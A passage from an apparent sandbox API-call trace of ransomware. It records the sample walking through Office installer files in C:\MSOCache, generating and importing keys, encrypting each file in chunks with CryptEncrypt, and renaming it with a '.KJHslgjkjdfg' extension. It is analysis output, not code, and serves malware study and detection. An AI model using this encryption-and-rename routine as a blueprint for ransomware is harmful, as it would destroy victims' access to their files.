nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.382] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.387] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.388] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.389] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.389] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.389] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.389] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.393] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.396] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.396] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.397] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.397] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.397] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.397] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.402] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.405] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.405] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.406] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.406] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.407] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.407] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.407] SetEndOfFile (hFile=0x124) returned 1 [0166.410] GetProcessHeap () returned 0x2ef0000 [0166.410] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.411] GetProcessHeap () returned 0x2ef0000 [0166.411] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.411] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0166.412] CloseHandle (hObject=0x124) returned 1 [0166.425] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0166.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.425] GetProcessHeap () returned 0x2ef0000 [0166.425] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.426] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.426] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0166.426] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xe, lpOverlapped=0x0) returned 1 [0166.428] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.428] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.428] GetProcessHeap () returned 0x2ef0000 [0166.428] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.428] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0166.428] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.428] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0166.428] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.429] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.429] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.429] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.429] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.429] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.429] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.430] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.430] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x10b2, lpOverlapped=0x0) returned 1 [0166.431] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10c0) returned 1 [0166.431] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.431] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0166.431] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.431] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.431] SetEndOfFile (hFile=0x124) returned 1 [0166.432] GetProcessHeap () returned 0x2ef0000 [0166.432] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.432] GetProcessHeap () returned 0x2ef0000 [0166.432] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.432] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0166.438] CloseHandle (hObject=0x124) returned 1 [0166.439] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0166.439] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0166.439] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0166.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.439] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=36233052) returned 1 [0166.439] GetProcessHeap () returned 0x2ef0000 [0166.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.439] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.439] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.440] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.443] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.443] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.443] GetProcessHeap () returned 0x2ef0000 [0166.443] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.443] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.443] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.443] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.443] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.443] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.443] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.443] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.443] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.444] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.444] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.444] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.454] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.461] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.462] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.462] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.462] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.463] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.469] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.472] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.472] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.473] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.473] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.473] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.474] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.481] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.485] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.486] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.516] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.517] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.517] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] SetEndOfFile (hFile=0x124) returned 1 [0166.521] GetProcessHeap () returned 0x2ef0000 [0166.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.521] GetProcessHeap () returned 0x2ef0000 [0166.521] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.521] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0166.522] CloseHandle (hObject=0x124) returned 1 [0166.522] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0166.522] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0166.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.523] GetProcessHeap () returned 0x2ef0000 [0166.523] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.523] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.524] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0166.524] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x6, lpOverlapped=0x0) returned 1 [0166.525] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.525] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.525] GetProcessHeap () returned 0x2ef0000 [0166.525] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0166.525] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dff4e0*=0x50, dwBufLen=0x50 | out: 